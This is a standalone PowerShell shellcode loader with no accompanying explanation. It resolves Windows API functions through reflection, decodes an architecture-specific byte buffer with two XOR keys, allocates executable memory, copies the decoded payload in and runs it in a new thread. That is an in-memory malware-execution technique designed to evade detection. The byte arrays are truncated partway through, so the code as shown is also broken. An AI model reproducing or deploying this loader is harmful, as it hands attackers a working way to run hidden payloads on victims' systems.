function LookupFunc {
Param ($moduleName, $functionName, $encoded)
if($encoded) {
$functionName=[Text.Encoding]::Utf8.GetString([Convert]::FromBase64String($functionName))}
$assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$tmp=@()
$assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
function getDelegateType {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
[Parameter(Position = 1)] [Type] $delType = [Void]
$type = [AppDomain]::CurrentDomain.
DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
[System.Reflection.Emit.AssemblyBuilderAccess]::Run).
DefineDynamicModule('InMemoryModule', $false).
DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
[System.MulticastDelegate])
$type.
DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).
SetImplementationFlags('Runtime, Managed')
$type.
DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
SetImplementationFlags('Runtime, Managed')
return $type.CreateType()
function Test-Win64() {
return [IntPtr]::size -eq 8
[Byte[]] $buf = 0xF7, 0x04, 0x91, 0xD1, 0x85, 0x2F, 0xF5, 0xA0, 0x12, 0xF0, 0x59, 0x07, 0xBD, 0x5B, 0x6A, 0xC7, 0x00, 0x3D, 0x67, 0x08, 0x92, 0x16, 0x48, 0x32, 0xC7, 0x87, 0x53, 0x04, 0x18, 0xA2, 0x04, 0xC1, 0x2C, 0xF0, 0xA7, 0x01, 0xE2, 0x33, 0x0A, 0x8B, 0x77, 0xA4, 0x5F, 0x07, 0xBD, 0x5B, 0x10, 0x98, 0x99, 0xBB, 0xC1, 0x98, 0xC7, 0x27, 0x88, 0x4C, 0x84, 0x43, 0x53, 0x04, 0x91, 0x47, 0x94, 0xD2, 0x69, 0x8D, 0x77, 0x52, 0x61, 0x18, 0x33, 0x80, 0x32, 0x18, 0x5F, 0x07, 0x55, 0x44, 0xE0, 0x33, 0x5E, 0x39, 0x05, 0xBC, 0x94, 0x30, 0x6E, 0xFB, 0x48, 0xC2, 0xE7, 0xEC, 0xC5, 0x45, 0x53, 0x97, 0x66, 0xC9, 0x53, 0x56, 0x22, 0xB5, 0x33, 0xD2, 0xBB, 0x1C, 0x7B, 0x8E, 0x7B, 0xB3, 0x6A, 0x31, 0x5E, 0xFE, 0xC6, 0xDC, 0xE3, 0x23, 0x64, 0x33, 0x42, 0x70, 0xDA, 0x30, 0xB5, 0xAF, 0x2A, 0x95, 0xA1, 0x8D, 0xB0, 0x16, 0x45, 0xDB, 0xFE, 0x64, 0xDB, 0x48, 0xD6, 0x33, 0x99, 0xD2, 0x24, 0xDB, 0x39, 0xFC, 0x01, 0x98, 0x4E, 0x62, 0x20, 0x00, 0x84, 0x33, 0xD8, 0x5C, 0xAD, 0x46, 0x90, 0x98, 0x16, 0xCE, 0x63, 0xDF, 0x25, 0xDC, 0x6E, 0xC5,
if(Test-Win64){
[Byte[]] $buf = 0xF7, 0xC5, 0xFE, 0xB4, 0x29, 0x5C, 0x92, 0xBC, 0x7A, 0x9B, 0xB3, 0x27, 0x55, 0x54, 0xE3, 0x33, 0x5E, 0xB6, 0x88, 0x6C, 0x99, 0xE4, 0xEE, 0xA5, 0xCE, 0x98, 0xD7, 0x04, 0x91, 0x47, 0x53, 0x97, 0xE0, 0xDA, 0x46, 0x92, 0xD8, 0xD5, 0x76, 0x4C, 0x32, 0x59, 0x09, 0x46, 0xE8, 0x1A, 0xB7, 0x66, 0x09, 0xA8, 0x52, 0xD0, 0x46, 0xCB, 0x00, 0x8B, 0xC1, 0x87, 0x1B, 0x89, 0xED, 0x63, 0x0B, 0xDF, 0x66, 0xC9, 0x53, 0x12, 0x61, 0xDF, 0x76, 0x4C, 0xC1, 0xB3, 0x98, 0x43, 0x99, 0x63, 0xE3, 0x33, 0x5E, 0xFE, 0x49, 0x5F, 0x83, 0x03, 0xC0, 0x8B, 0xC1, 0x87, 0x53, 0x4C, 0x56, 0x03, 0x77, 0xC7, 0xA1, 0x8D, 0x77, 0x52, 0xA6, 0x9B, 0x52, 0x70, 0x32, 0x18, 0x5F, 0x07, 0x55, 0x64, 0xE0, 0x33, 0x5E, 0x47, 0x52, 0x8F, 0x21, 0x57, 0xC1, 0x02, 0x07, 0x6F, 0x31, 0x06, 0x91, 0x47, 0xE9, 0xD4, 0xCB, 0xC8, 0xE9, 0x1B, 0xE8, 0x1B, 0x3E, 0xC5, 0xF3, 0xF0, 0xFC, 0x05, 0xBD, 0x5B, 0x59, 0xDF, 0xE6, 0x7D, 0xF6, 0xD4, 0x4E, 0xC6, 0x60, 0x1D, 0xC3, 0x87, 0x53, 0xBE, 0x19, 0x6F, 0xBA, 0xC7, 0xED, 0x04, 0x96, 0x1A, 0xE8, 0x19, 0x9E, 0xC
$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc $false), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $buf.length, 0x3000, 0x40)
[Byte[]] $keys = 0x72, 0xD6, 0xE0, 0x78, 0x4B, 0x34, 0xB7, 0xE2, 0x1A, 0x19, 0x4D, 0xF3, 0xB8, 0x2F, 0xBC, 0x2A, 0xDD, 0x95, 0x4B, 0x2B, 0x94, 0xCD, 0x0A, 0xAC, 0x36, 0x33, 0x9B, 0x5A, 0x43, 0x28, 0x97, 0xF8
[Byte[]] $keys2 = 0xD3, 0x5B, 0x97, 0x2A, 0x2A, 0xEB, 0xC1, 0xAE, 0x28, 0x01, 0x12, 0xF4, 0x05, 0x74, 0x5F, 0x19, 0x83, 0x6B, 0x4A, 0xB3, 0x53, 0xEA, 0x82, 0x27, 0xF7, 0xB4, 0xC8, 0x5E, 0xD2, 0x6F, 0xC4, 0x6F
for($i=0; $i -lt $buf.count ; $i++)
$buf[$i] = $buf[$i] -bxor $keys2[$i%32]
$buf[$i] = $buf[$i] -bxor $keys[$i%32]
[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread $false), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject $false), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)